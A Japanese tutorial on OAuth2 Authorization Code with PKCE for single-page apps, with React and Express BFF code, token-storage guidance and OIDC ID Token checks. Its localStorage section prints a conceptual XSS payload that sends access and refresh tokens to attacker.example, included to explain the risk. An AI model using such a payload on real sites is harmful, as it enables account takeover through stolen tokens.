OAuth2 PKCE SPA実装ガイド|Authorization Code + S256 + BFFパターン

(更新: 2026年6月21日 ) OAuth2 PKCE セキュリティ SPA React Express
結論
  • SPA向けOAuth2の2026年定石は、Authorization Code Flow + PKCE(S256)です。
  • RFC 9700によりImplicit Flowは非推奨となり、ブラウザでresponse_type=tokenを使う新規実装は避けてください。
  • crypto.getRandomValuescode_verifierを生成し、SHA-256のcode_challengeを認可リクエストに載せ、コールバック後にトークンエンドポイントへcode_verifier付きで交換します。
  • トークン保管はBFF + HttpOnly Cookieが最も安全で、どうしてもフロントだけで完結する場合もlocalStorage/sessionStorageへの永続化は禁止XSS完全ガイド参照)し、インメモリ+短命トークンに限定してください。

OAuth2 Authorization Code + PKCEとは

OAuth2は、ユーザーがパスワードを第三者アプリに渡さずに、認可サーバー(IdP)経由でリソースへのアクセス権(アクセストークン)を委譲する仕組みです。SPA(Single Page Application)では、従来の「クライアントシークレットをサーバーに置く」モデルが使えません。JavaScriptバンドルは誰でも読めるため、シークレットは秘匿できないパブリッククライアントとして扱う必要があります。

PKCE(Proof Key for Code Exchange、RFC 7636)は、パブリッククライアント向けに認可コード傍受攻撃を防ぐ拡張です。流れは次のとおりです。

  1. クライアントがランダムなcode_verifierを生成し、そのハッシュであるcode_challengeを認可リクエストに付ける
  2. ユーザーがIdPでログイン・同意すると、認可コード(authorization code)がへ返る
  3. クライアントがトークンエンドポイントへと元のを送り、アクセストークンに交換する

傍受者が認可コードだけ盗んでも、code_verifierがなければトークン交換できません。2019年以降、SPAではPKCEなしのAuthorization Code Flowすら非推奨とされ、2025年のRFC 9700でブラウザベースアプリの標準フローとして位置づけられました。

本記事のロングテールキーワード「OAuth2 PKCE SPA 実装」「code_challenge S256」は、まさにこの構成を指します。

なぜSPAは「普通の」OAuth2クライアントと違うのか

従来のサーバーサイドWebアプリ(Java Spring、Ruby on Rails、PHP Laravel等)は、Authorization Code Flowでclient_secretをサーバーに保持し、トークンエンドポイントで秘密を証明できました。ユーザーが見るのはHTMLページだけで、シークレットはバンドルに含まれません。

SPAはJavaScriptがユーザーのマシン上で実行され、ビルド成果物はDevToolsのSourcesタブから丸見えです。client_secretを埋め込んだ瞬間に全世界に公開されたも同然です。そのためOAuth2ではSPAをPublic Clientとして扱い、PKCEで「認可コードを持っているだけでは不十分」を補います。

2025年のRFC 9700は、この Public Client 向けのベストプラクティスを「ブラウザベースアプリ」向けに再整理し、Implicit Flow を deprecated と明言しました。2026年の新規プロジェクトで「とりあえず Implicit」は選ばないでください。既存資産の移行は本記事後半のロードマップを参照してください。

SPAでImplicit Flowが非推奨になった理由(RFC 9700)

Implicit Flow()は、認可サーバーがアクセストークンをURLフラグメント()で直接返す方式でした。SPAがシークレットを持てない時代の「回避策」として広がりましたが、根本的な問題があります。

問題説明
トークンのURL露出フラグメントはサーバーログに載らない一方、Referer・ブラウザ履歴・拡張機能・悪意あるJSから参照されうる
XSSとの相性トークンがJavaScriptから読める時点で、XSS成立時に即窃取される
リフレッシュ不可Implicit Flowではrefresh_tokenを安全に配布しにくく、短命トークン運用が困難
中間者リスク認可コードを経由しないため、傍受防御(PKCE)の恩恵を受けにくい

RFC 9700(2025年1月公開、OAuth 2.0 for Browser-Based Apps)は、ブラウザで動くアプリに対し次を明確にしています。

  • Authorization Code Flow + PKCEを使用する
  • Implicit Flowは使用しない(deprecated)
  • 可能であればBFF等のバックエンドを挟み、トークンをブラウザから隠す
2026年の新規実装でImplicit Flowを選ばない

既存システムの移行計画以外で、新規SPAにImplicit Flowを採用する理由はありません。IdPの管理画面に「Implicit grant」チェックボックスが残っていても、無効のままにし、Authorization Code + PKCE用のredirect_uriだけを登録してください。

PKCEの仕組み:code_verifierとcode_challenge

PKCEの核心は、認可リクエストとトークン交換の間で同じ秘密(verifier)と公開可能なハッシュ(challenge)を対に使うことです。

パラメータ 役割・制約
code_verifier 43〜128文字の [A-Z] / [a-z] / [0-9] / - . _ ~ からなる暗号学的乱数文字列。トークン交換時にPOSTする。絶対に漏らさない(sessionStorageへの一時保存は可、永続化は不可)。
code_challenge code_verifierから導出した値。認可リクエストのクエリに載せる。S256方式では BASE64URL(SHA256(code_verifier))
code_challenge_method S256(推奨・必須級)または plain(verifierそのもの。本番禁止)。
state CSRF対策用のランダム文字列。認可リクエストとコールバックで一致検証する([CSRF対策ガイド](/blog/csrf-対策-トークン-実装/)と同根の考え方)。

S256計算式

code_challenge = BASE64URL( SHA256( ASCII(code_verifier) ) )

plain方式(code_challenge = code_verifier)は、認可リクエストを傍受された場合にverifierがそのまま漏れるため、本番環境ではS256のみを使ってください。

code_challenge S256 を手計算で理解する

具体例として、RFC 7636 に掲載されている verifier 文字列 dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk を SHA-256 し、Base64URL すると challenge E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM になります。実装では Web Crypto API に任せ、手計算はテストベクタ確認時だけで十分です。

ユニットテストにこのベクタを1本入れておくと、IdP 連携前に「自前 PKCE 実装が壊れていない」ことを CI で担保できます。本番コード path では RFC 定数をハードコードせず、ランダム verifier 生成と S256 関数の組み合わせだけをテストしてください。

認可フロー全体像

OAuth2 Authorization Code + PKCEのエンドツーエンドの流れを、SPA(パブリッククライアント)前提で整理します。

1

SPAが crypto.getRandomValues で code_verifier・state を生成し、sessionStorage に保存する

2

SHA-256 で code_challenge(S256)を計算する

3

ブラウザを IdP の /authorize へリダイレクト(response_type=code, code_challenge, code_challenge_method=S256, state, client_id, redirect_uri, scope)

4

ユーザーが IdP で認証・同意すると、redirect_uri?code=AUTH_CODE&state=STATE へリダイレクトされる

5

SPA(または BFF)が state を検証し、認可コード code を取得する

6

POST /token に grant_type=authorization_code, code, redirect_uri, client_id, code_verifier を送りアクセストークンを受け取る

7

APIリクエストに Authorization: Bearer {access_token} を付与(BFF構成では Cookie セッション経由)

OpenID Connect(OIDC)との関係

ログイン(Who are you?)まで含める場合はOpenID Connectを併用し、scope=openidnonceパラメータを追加します。ID Tokenの検証(署名・aud・iss・nonce)は別途必要ですが、PKCEの骨格は同一です。

code_verifierとcode_challengeの生成実装

Web Crypto APIのcrypto.getRandomValuescrypto.subtle.digestを使うのが標準です。Node.js BFF側でも同じアルゴリズムを共通化するとテストしやすくなります。

pkce.ts:共通ユーティリティ

// src/auth/pkce.ts

const PKCE_CHARSET =
  'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~';

/**
 * RFC 7636: code_verifier は 43〜128 文字
 */
export function generateCodeVerifier(length: number = 64): string {
  if (length < 43 || length > 128) {
    throw new RangeError('code_verifier length must be between 43 and 128');
  }

  const random = new Uint8Array(length);
  crypto.getRandomValues(random);

  let verifier = '';
  for (let i = 0; i < length; i += 1) {
    verifier += PKCE_CHARSET[random[i] % PKCE_CHARSET.length];
  }
  return verifier;
}

function base64UrlEncode(buffer: ArrayBuffer): string {
  const bytes = new Uint8Array(buffer);
  let binary = '';
  for (let i = 0; i < bytes.length; i += 1) {
    binary += String.fromCharCode(bytes[i]);
  }
  return btoa(binary)
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '');
}

/**
 * code_challenge_method=S256
 */
export async function generateCodeChallengeS256(
  verifier: string,
): Promise<string> {
  const data = new TextEncoder().encode(verifier);
  const digest = await crypto.subtle.digest('SHA-256', data);
  return base64UrlEncode(digest);
}

export function generateRandomState(length: number = 32): string {
  const random = new Uint8Array(length);
  crypto.getRandomValues(random);
  return base64UrlEncode(random.buffer);
}

ランダム性の要件

Math.random()使用禁止です。予測可能なverifierではPKCEの防御が崩れます。CSPRNG(crypto.getRandomValues)のみを使い、長さは64文字程度を推奨します(最小43文字)。

TypeScript ユニットテスト例

PKCE 関数は IdP なしでテストできます。CI に次のようなケースを入れておくと、リファクタ時の regression を防げます。

// src/auth/pkce.test.ts

import { describe, expect, it } from 'vitest';
import {
  generateCodeChallengeS256,
  generateCodeVerifier,
} from './pkce';

describe('PKCE S256', () => {
  it('RFC 7636 appendix B test vector', async () => {
    const verifier = 'dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk';
    const challenge = await generateCodeChallengeS256(verifier);
    expect(challenge).toBe('E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM');
  });

  it('random verifier length is within RFC bounds', () => {
    const verifier = generateCodeVerifier(64);
    expect(verifier.length).toBeGreaterThanOrEqual(43);
    expect(verifier.length).toBeLessThanOrEqual(128);
  });
});

ランダム生成のテストでは固定値ではなく長さと文字集合だけを検証し、RFC ベクタテストで S256 実装の正しさを担保する二段構えが扱いやすいです。

Vitest や Jest 以外でも、同じ RFC 7636 ベクタを使えば実装の互換性確認は可能です。IdP 連携前に CI で緑になることをゲートにすると、ステージングでの invalid_grant トラブルシュート時間を大幅に削れます。本番 IdP へ接続する前の「ローカルだけの完了」は、このユニットテストとモック authorize ページの2点を最低条件にしてください。

React SPA:認可リクエストの実装

ログインボタン押下時にverifierとstateを生成し、IdPへリダイレクトします。sessionStorageへの保存は「タブをまたいだコールバック処理が終わるまで」の一時用途に限定します。

authConfig.ts

// src/auth/authConfig.ts

export const authConfig = {
  clientId: import.meta.env.VITE_OAUTH_CLIENT_ID as string,
  authorizationEndpoint: 'https://idp.example.com/oauth2/authorize',
  tokenEndpoint: 'https://idp.example.com/oauth2/token',
  redirectUri: `${window.location.origin}/oauth/callback`,
  scope: 'openid profile email offline_access',
  storageKeys: {
    verifier: 'oauth_pkce_verifier',
    state: 'oauth_pkce_state',
  },
} as const;

useOAuthLogin.ts

// src/auth/useOAuthLogin.ts

import { useCallback } from 'react';
import { authConfig } from './authConfig';
import {
  generateCodeChallengeS256,
  generateCodeVerifier,
  generateRandomState,
} from './pkce';

export function useOAuthLogin() {
  const startLogin = useCallback(async () => {
    const verifier = generateCodeVerifier(64);
    const state = generateRandomState(32);
    const challenge = await generateCodeChallengeS256(verifier);

    sessionStorage.setItem(authConfig.storageKeys.verifier, verifier);
    sessionStorage.setItem(authConfig.storageKeys.state, state);

    const params = new URLSearchParams({
      response_type: 'code',
      client_id: authConfig.clientId,
      redirect_uri: authConfig.redirectUri,
      scope: authConfig.scope,
      state,
      code_challenge: challenge,
      code_challenge_method: 'S256',
    });

    window.location.assign(
      `${authConfig.authorizationEndpoint}?${params.toString()}`,
    );
  }, []);

  return { startLogin };
}

LoginButton.tsx

// src/components/LoginButton.tsx

import { useOAuthLogin } from '../auth/useOAuthLogin';

export function LoginButton() {
  const { startLogin } = useOAuthLogin();

  return (
    <button type="button" onClick={() => void startLogin()}>
      IdPでログイン
    </button>
  );
}
redirect_uriは完全一致

IdPに登録した値と1文字も違わないようにしてください。http://localhost:5173/oauth/callbackhttp://localhost:5173/oauth/callback/は別物として拒否されます。

コールバック処理:code・stateの検証

コールバックルート(/oauth/callback)では、state不一致の場合は即中断し、認可コードをトークン交換に使いません。エラー query(error=access_denied等)もハンドリングします。

OAuthCallbackPage.tsx

// src/pages/OAuthCallbackPage.tsx

import { useEffect, useState } from 'react';
import { useNavigate } from 'react-router-dom';
import { authConfig } from '../auth/authConfig';
import { exchangeAuthorizationCode } from '../auth/tokenExchange';

type Status = 'loading' | 'success' | 'error';

export function OAuthCallbackPage() {
  const navigate = useNavigate();
  const [status, setStatus] = useState<Status>('loading');
  const [message, setMessage] = useState('認可コードを処理しています…');

  useEffect(() => {
    const params = new URLSearchParams(window.location.search);
    const error = params.get('error');
    const errorDescription = params.get('error_description');

    if (error) {
      setStatus('error');
      setMessage(`${error}: ${errorDescription ?? '認可が拒否されました'}`);
      return;
    }

    const code = params.get('code');
    const returnedState = params.get('state');
    const expectedState = sessionStorage.getItem(authConfig.storageKeys.state);
    const verifier = sessionStorage.getItem(authConfig.storageKeys.verifier);

    sessionStorage.removeItem(authConfig.storageKeys.state);
    sessionStorage.removeItem(authConfig.storageKeys.verifier);

    if (!code || !returnedState || !expectedState || !verifier) {
      setStatus('error');
      setMessage('認可レスポンスに必要なパラメータがありません');
      return;
    }

    if (returnedState !== expectedState) {
      setStatus('error');
      setMessage('state が一致しません。CSRF の可能性があるため中断しました');
      return;
    }

    void (async () => {
      try {
        await exchangeAuthorizationCode(code, verifier);
        setStatus('success');
        navigate('/dashboard', { replace: true });
      } catch (err) {
        setStatus('error');
        setMessage(err instanceof Error ? err.message : 'トークン交換に失敗しました');
      }
    })();
  }, [navigate]);

  if (status === 'loading') {
    return <p role="status">{message}</p>;
  }

  if (status === 'error') {
    return (
      <div role="alert">
        <p>{message}</p>
        <a href="/">トップへ戻る</a>
      </div>
    );
  }

  return null;
}

Token Exchange:fetch()での実装

認可コードの寿命は通常60〜120秒と短いです。コールバック到着後すぐにトークンエンドポイントへPOSTします。パブリッククライアントではclient_secretを送りません(送っても無視されるか、漏洩リスクだけ増えます)。

tokenExchange.ts

// src/auth/tokenExchange.ts

import { authConfig } from './authConfig';

type TokenResponse = {
  access_token: string;
  token_type: string;
  expires_in: number;
  refresh_token?: string;
  id_token?: string;
  scope?: string;
};

let inMemoryAccessToken: string | null = null;
let inMemoryRefreshToken: string | null = null;
let accessTokenExpiresAt = 0;

export function getAccessToken(): string | null {
  if (!inMemoryAccessToken) {
    return null;
  }
  if (Date.now() >= accessTokenExpiresAt) {
    inMemoryAccessToken = null;
    return null;
  }
  return inMemoryAccessToken;
}

export function clearTokens(): void {
  inMemoryAccessToken = null;
  inMemoryRefreshToken = null;
  accessTokenExpiresAt = 0;
}

export async function exchangeAuthorizationCode(
  code: string,
  codeVerifier: string,
): Promise<TokenResponse> {
  const body = new URLSearchParams({
    grant_type: 'authorization_code',
    code,
    redirect_uri: authConfig.redirectUri,
    client_id: authConfig.clientId,
    code_verifier: codeVerifier,
  });

  const response = await fetch(authConfig.tokenEndpoint, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
      Accept: 'application/json',
    },
    body: body.toString(),
  });

  const payload: unknown = await response.json();

  if (!response.ok) {
    const err = payload as { error?: string; error_description?: string };
    throw new Error(
      `${err.error ?? 'token_error'}: ${err.error_description ?? response.statusText}`,
    );
  }

  const tokens = payload as TokenResponse;

  inMemoryAccessToken = tokens.access_token;
  inMemoryRefreshToken = tokens.refresh_token ?? null;
  accessTokenExpiresAt = Date.now() + tokens.expires_in * 1000;

  return tokens;
}

export async function fetchProtectedResource(url: string): Promise<Response> {
  const token = getAccessToken();
  if (!token) {
    throw new Error('Not authenticated');
  }

  return fetch(url, {
    headers: {
      Authorization: `Bearer ${token}`,
      Accept: 'application/json',
    },
  });
}

トークンリクエストのHTTPイメージ

POST /oauth2/token HTTP/1.1
Host: idp.example.com
Content-Type: application/x-www-form-urlencoded
Accept: application/json

grant_type=authorization_code
&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https%3A%2F%2Fapp.example.com%2Foauth%2Fcallback
&client_id=spa-client-id
&code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
CORSとトークンエンドポイント

IdPがブラウザからのトークンエンドポイント直接呼び出しを許可していない場合があります(CORS未設定)。その場合はBFFがトークン交換を代行する構成に切り替えてください。後述のExpress例を参照してください。

grant_type=authorization_code の POST パラメータ

トークン交換は Content-Type: application/x-www-form-urlencoded の POST です。SPA Public Client で一般的なフィールドは次のとおりです。

パラメータ必須説明
grant_typeはい固定値 authorization_code
codeはいコールバックで受け取った認可コード
redirect_uriはい認可リクエストと完全一致
client_idはいIdP 登録の Public Client ID
code_verifierはいPKCE。S256 challenge の元文字列

client_secret は Public Client では送りません。BFF が Confidential Client の場合のみサーバー側 fetch に追加します。レスポンス JSON を console.log しないルールもチームで共有してください。

BFFパターン vs インメモリトークン:比較

SPA単体でOAuth2を完結させるか、BFF(Backend for Frontend)を挟むかは、2026年の設計判断の中心です。

方式 メリット・デメリット
BFF + HttpOnly Cookie アクセストークン/リフレッシュトークンをサーバー側に閉じ込められる。JSから読めないためXSSでトークン窃取されにくい。CORS制約をBFFが吸収。デメリット: サーバー運用・セッション管理が必要。
純SPA + インメモリ インフラがシンプル。verifier/stateはsessionStorage一時利用のみ。デメリット: タブリロードでログアウト、refresh_tokenをブラウザに置けない、トークンエンドポイントCORS依存。
localStorage/sessionStorage永続化 非推奨・禁止。XSS1件で全トークン流出。[XSS完全ガイド](/blog/xss-攻撃-防御-完全ガイド/)参照。RFC 9700もブラウザ永続ストレージへのトークン保存を避けるよう示唆。
Implicit Flow 非推奨(deprecated)。URLフラagment露出。新規採用禁止。

選び方の目安

条件推奨
社内業務アプリ・長時間セッションBFF + HttpOnly Cookie + refresh_token(サーバー保管)
静的ホスティングのみ・短命API純SPA + PKCE + インメモリ(有効期限短め)
モバイルWebViewBFF推奨。カスタムURLスキームとASWebAuthenticationSession等を検討
サードパーティIdPがCORS非対応BFF必須

純SPA + インメモリ構成を選ぶ場合、プロダクトオーナーには「タブを閉じると再ログインが必要」「バックグラウンドタブで長時間放置すると401になる」というUXトレードオフを事前に合意しておくことが大切です。技術選定をセキュリティだけで決めず、サポート問い合わせ量にも効いてきます。逆にBFFを採用する場合は、ExpressやCloudflare Workers上の薄い認証レイヤーでも効果は大きく、必ずしも巨大なバックエンドが必要なわけではありません。

同一組織内にレガシーの Implicit Flow SPA が残っているときは、新機能だけ Code + PKCE + BFF に載せ替え、旧アプリは移行ロードマップに沿って段階的に廃止するのが現実的です。二方式を永久に並走させると、セキュリティ監査で毎回説明コストが発生します。

localStorageにトークンを保存してはいけない理由

OAuth2実装で最も多い事故の一つが、Qiitaや古いチュートリアルに従いlocalStorage.setItem('access_token', token)と書くことです。

localStorage・sessionStorage(永続用途)・IndexedDBのいずれも、同一オリジン上のJavaScriptから読み書き可能です。HttpOnly Cookieとは異なり、ブラウザは「スクリプトからのアクセス」を遮断してくれません。

XSS攻撃と防御の完全ガイドで述べたとおり、XSSが1箇所でも残ると次のペイロードでトークンが抜かれます。

// 攻撃者が注入しうるスクリプト(概念例)
fetch('https://attacker.example/collect', {
  method: 'POST',
  body: JSON.stringify({
    access: localStorage.getItem('access_token'),
    refresh: localStorage.getItem('refresh_token'),
  }),
});

refresh_tokenまで永続化している場合、長期間のなりすましにつながります。対策は次のとおりです。

  1. BFFでトークンをサーバー側セッションに保存し、ブラウザにはHttpOnly Cookieのみ渡す
  2. 純SPAでもインメモリ変数に限定し、リロードで再ログインを受け入れる
  3. XSSそのものをCSP・エスケープ・フレームワーク安全APIで潰す(トークン保管の問題は別軸で残る)
「sessionStorageなら安全」は誤解

sessionStorageもJavaScriptから読めます。PKCEのcode_verifierをコールバックまで数十秒だけ置く用途と、access_tokenの永続化は全く別問題です。トークンをsessionStorageに書く実装も避けてください。

Express BFF:コールバックとトークン交換

BFFは同一オリジンの/auth/callbackで認可コードを受け取り、サーバー側でトークン交換し、HttpOnly Cookieにセッションを載せます。SPAはcredentials: 'include'でAPIを呼ぶだけです。

bff/authRoutes.ts

// bff/authRoutes.ts

import express, { type Request, type Response, type Router } from 'express';
import session from 'express-session';
import crypto from 'node:crypto';

const router: Router = express.Router();

const IDP_TOKEN_URL = process.env.IDP_TOKEN_URL ?? 'https://idp.example.com/oauth2/token';
const CLIENT_ID = process.env.OAUTH_CLIENT_ID ?? '';
const CLIENT_SECRET = process.env.OAUTH_CLIENT_SECRET ?? '';
const REDIRECT_URI = process.env.OAUTH_REDIRECT_URI ?? 'http://localhost:4000/auth/callback';
const APP_ORIGIN = process.env.APP_ORIGIN ?? 'http://localhost:5173';

function base64UrlEncode(buffer: Buffer): string {
  return buffer
    .toString('base64')
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '');
}

function generateCodeVerifier(length: number = 64): string {
  return base64UrlEncode(crypto.randomBytes(length)).slice(0, length);
}

async function generateCodeChallengeS256(verifier: string): Promise<string> {
  const hash = crypto.createHash('sha256').update(verifier).digest();
  return base64UrlEncode(hash);
}

router.get('/auth/login', async (req: Request, res: Response) => {
  const verifier = generateCodeVerifier(64);
  const state = base64UrlEncode(crypto.randomBytes(32));
  const challenge = await generateCodeChallengeS256(verifier);

  req.session.pkceVerifier = verifier;
  req.session.oauthState = state;

  const params = new URLSearchParams({
    response_type: 'code',
    client_id: CLIENT_ID,
    redirect_uri: REDIRECT_URI,
    scope: 'openid profile email offline_access',
    state,
    code_challenge: challenge,
    code_challenge_method: 'S256',
  });

  const authorizeUrl = `${process.env.IDP_AUTHORIZE_URL}?${params.toString()}`;
  res.redirect(authorizeUrl);
});

router.get('/auth/callback', async (req: Request, res: Response) => {
  const { code, state, error, error_description: errorDescription } = req.query;

  if (typeof error === 'string') {
    return res.redirect(`${APP_ORIGIN}/login?error=${encodeURIComponent(error)}`);
  }

  if (
    typeof code !== 'string' ||
    typeof state !== 'string' ||
    state !== req.session.oauthState
  ) {
    return res.status(400).send('Invalid state or missing code');
  }

  const verifier = req.session.pkceVerifier;
  delete req.session.pkceVerifier;
  delete req.session.oauthState;

  if (!verifier) {
    return res.status(400).send('Missing PKCE verifier in session');
  }

  const body = new URLSearchParams({
    grant_type: 'authorization_code',
    code,
    redirect_uri: REDIRECT_URI,
    client_id: CLIENT_ID,
    code_verifier: verifier,
  });

  if (CLIENT_SECRET) {
    body.set('client_secret', CLIENT_SECRET);
  }

  const tokenResponse = await fetch(IDP_TOKEN_URL, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
      Accept: 'application/json',
    },
    body: body.toString(),
  });

  const tokens = (await tokenResponse.json()) as {
    access_token?: string;
    refresh_token?: string;
    expires_in?: number;
    error?: string;
    error_description?: string;
  };

  if (!tokenResponse.ok || !tokens.access_token) {
    const msg = tokens.error_description ?? tokens.error ?? 'token exchange failed';
    return res.status(502).send(msg);
  }

  req.session.accessToken = tokens.access_token;
  req.session.refreshToken = tokens.refresh_token;
  req.session.accessTokenExpiresAt = Date.now() + (tokens.expires_in ?? 3600) * 1000;

  res.redirect(`${APP_ORIGIN}/dashboard`);
});

router.post('/auth/logout', (req: Request, res: Response) => {
  req.session.destroy(() => {
    res.clearCookie('connect.sid');
    res.status(204).end();
  });
});

export { router as authRouter };

bff/server.ts(セッション設定)

// bff/server.ts

import express from 'express';
import session from 'express-session';
import { authRouter } from './authRoutes';

const app = express();

app.use(
  session({
    name: 'sid',
    secret: process.env.SESSION_SECRET ?? 'change-me-in-production',
    resave: false,
    saveUninitialized: false,
    cookie: {
      httpOnly: true,
      secure: process.env.NODE_ENV === 'production',
      sameSite: 'lax',
      maxAge: 24 * 60 * 60 * 1000,
    },
  }),
);

app.use(authRouter);

app.get('/api/me', (req, res) => {
  if (!req.session.accessToken) {
    return res.status(401).json({ error: 'unauthenticated' });
  }
  return res.json({ authenticated: true });
});

app.listen(4000, () => {
  console.log('BFF listening on http://localhost:4000');
});

SPA側(BFF利用時)

// src/api/client.ts

export async function fetchMe() {
  const response = await fetch('http://localhost:4000/api/me', {
    credentials: 'include',
  });

  if (!response.ok) {
    throw new Error('Unauthorized');
  }

  return response.json() as Promise<{ authenticated: boolean }>;
}

export function startBffLogin() {
  window.location.assign('http://localhost:4000/auth/login');
}

BFF構成では、SPAがトークンエンドポイントを直接叩く必要がなく、client_secretをサーバー環境変数に安全に置けます(コンフィデンシャルクライントとして登録する場合)。

よくあるエラーと対処法

IdPや自作BFFのログで頻出するエラーを整理します。OAuth2エラーレスポンスはerrorerror_descriptionフィールドを返します。

error典型原因対処
invalid_grant認可コード期限切れ、code_verifier不一致、コードの再利用、redirect_uri不一致フローを最初からやり直す。verifier/challengeペアが同一か確認。コードは1回限り
state mismatch(アプリ側)CSRF、複数タブ同時ログイン、sessionStorageクリア単一タブで再試行。state生成〜検証を同一ストレージキーで貫通
redirect_uri_mismatchIdP登録値とリクエスト値の不一致(スラッシュ・ポート・スキーム)IdP管理画面とコードのredirect_uriを文字列完全一致で揃える
invalid_clientclient_id誤り、BFFでsecret必須なのに未送信環境変数とIdP設定を照合
access_deniedユーザーが同意画面で拒否UXで再ログイン導線を表示
unauthorized_clientクライアントにAuthorization Code grant未許可IdPでgrant typeを有効化

invalid_grantの深掘り

invalid_grantは原因が複数あり、ログだけでは判別が難しいです。チェックリストは次のとおりです。

1

認可リクエストとトークン交換で redirect_uri が同一か確認する

2

code_verifier が認可リクエスト時の code_challenge と S256 で対応しているか確認する

3

認可コード取得から60秒以内にトークン交換しているか確認する

4

同じ code を二重に交換していないか確認する(リロード・Strict Mode二重 effect)

5

開発中に IdP と BFF で client_id が混在していないか確認する

React 18 Strict ModeではuseEffectが開発時に二重実行され、同一コードの二重交換invalid_grantになることがあります。本番では発生しませんが、開発中はガード(useRefで処理済みフラグ)を入れるか、BFF側で一度きりの交換に任せてください。

セキュリティベストプラクティス(2026)

RFC 9700とOWASPの観点を、SPA OAuth2実装チェックリストとしてまとめます。

項目推奨
フローAuthorization Code + PKCE(S256)のみ
Implicit Flow使用しない(deprecated)
code_challenge_methodS256のみ(plain禁止)
state必須。認可前後で一致検証
nonceOIDC利用時は必須
トークン保管BFF + HttpOnly Cookie、またはインメモリのみ
localStorageトークン永続化禁止
refresh_tokenブラウザに置かない。BFFまたはサーバーストア
CSPCSP設定ガイドでインラインJSを制限
ログアクセストークン・verifierをログ出力しない
Dynamic Client Registration

パブリックSPAを大量デプロイするSaaSでは、RFC 7591 Dynamic Client Registrationを使う場合があります。いずれにせよredirect_uriの固定とPKCE必須化は変わりません。

IdPでのクライアント登録とredirect_uri設計

PKCEを正しく実装しても、IdP(Identity Provider)側の設定ミスで認可フロー全体が失敗します。SPA向けパブリッククライアントを登録する際の実務ポイントを整理します。

登録時に有効化すべき項目

設定推奨値備考
Grant TypesAuthorization Code のみImplicit / Hybrid は無効
PKCERequired(必須)「Allow plain text PKCE」はオフ
Client AuthenticationNone(パブリック)BFF利用時は Confidential に変更可
Redirect URIs完全一致のHTTPS URLワイルドカードは最小限に
Token Endpoint Auth Methodnone(SPA) / client_secret_post(BFF)構成に合わせる

Auth0・Keycloak・Amazon Cognito・Azure AD・Google Identity など主要IdPは、2026年時点でダッシュボードに「PKCE required for public clients」相当の項目を持っています。開発用http://localhost:5173/oauth/callbackと本番用https://app.example.com/oauth/callbackは別行で登録し、環境変数で切り替えるのが安全です。

redirect_uri設計の落とし穴

redirect_uri_mismatchの大半は、次のような「見た目は同じだが不一致」から起きます。

  • 末尾スラッシュの有無(/callback vs /callback/
  • サブドメインの取り違え(www.example.com vs example.com
  • リバースプロキシ背後で内部ポートが混ざる(https://app.example.comで受けるのにコードが:5173を指定)
  • 認可リクエストとトークン交換で別のredirect_uri文字列を送っている

トークン交換のPOSTボディに載せるredirect_uriは、認可リクエストのクエリに載せた値とバイト単位で同一である必要があります。BFFとSPAが混在するプロジェクトでは、定数を1箇所(authConfig.ts / 環境変数)に集約し、コピペによるドリフトを防いでください。

認可コード傍受攻撃とPKCEの防御効果

PKCE以前、モバイルアプリやSPAでは「認可コードがリダイレクト中に漏れたら終わり」という問題がありました。カスタムURLスキーム(myapp://callback?code=...)は、他アプリやOSのログから傍受されうるため、特にリスクが高いと指摘されてきました。

攻撃シナリオを段階的に追います。

1

正規ユーザーが IdP でログインし、認可コード AUTH_CODE が attacker の制御する redirect 先、または傍受可能なチャネルに流れる

2

攻撃者が AUTH_CODE を取得し、自分の環境からトークンエンドポイントへ POST する

3

PKCE なしの場合、client_id と redirect_uri さえ合致すればアクセストークンが攻撃者に渡る

4

PKCE(S256)ありの場合、code_verifier を知らない攻撃者は invalid_grant で拒否される

パブリッククライアントはを持てないため、「コードを持っている者=正当なクライアント」という前提だけでは不十分です。PKCEは「認可リクエストを開始した同一ブラウザタブ(同一JSコンテキスト)がverifierを保持している」ことを証明する仕組みです。

ネイティブアプリでもPKCE必須

RFC 8252(OAuth 2.0 for Native Apps)以降、iOS/AndroidのネイティブアプリでもAuthorization Code + PKCEが標準です。SPAとコード(verifier/challenge生成)は共通化できるため、モノレポではpkce.tsをパッケージ共有するのが合理的です。

OpenID Connect:ID Tokenとnonce検証

「ログイン」が目的ならOAuth2に加えOpenID Connect(OIDC)を使い、にを含めます。トークンエンドポイントのレスポンスにはID Token(JWT)が含まれ、ユーザーの識別子()やメールアドレス相当のクレームを取得できます。

追加パラメータ

パラメータ用途
nonceリプレイ攻撃防止。認可リクエストで送り、ID Token内のnonceと一致させる
scopeopenid profile email
response_typecode(OIDCでもAuthorization Code)

ID Token検証(サーバー側推奨)

ID Tokenの署名検証は、JWKS(IdPの公開鍵)を使いサーバー側で行うのが安全です。SPAだけで検証すると、JWKS URL改ざんやアルゴリズム混乱( alg等)のリスクが残ります。

// bff/verifyIdToken.ts — 概念実装(jose 等のライブラリ利用を推奨)

import { createRemoteJWKSet, jwtVerify } from 'jose';

const JWKS = createRemoteJWKSet(
  new URL('https://idp.example.com/.well-known/jwks.json'),
);

export async function verifyIdToken(
  idToken: string,
  expectedNonce: string,
): Promise<{ sub: string; email?: string }> {
  const { payload } = await jwtVerify(idToken, JWKS, {
    issuer: 'https://idp.example.com',
    audience: process.env.OAUTH_CLIENT_ID,
  });

  if (payload.nonce !== expectedNonce) {
    throw new Error('ID Token nonce mismatch');
  }

  return {
    sub: String(payload.sub),
    email: typeof payload.email === 'string' ? payload.email : undefined,
  };
}

BFFの/auth/callbackでトークン交換後にverifyIdTokenを呼び、検証済みのsubをセッションに保存するパターンが一般的です。SPAはID Tokenをパースせず、BFFの/api/meが返すユーザー情報だけを信頼します。

CORS・トークンエンドポイント・BFFの関係

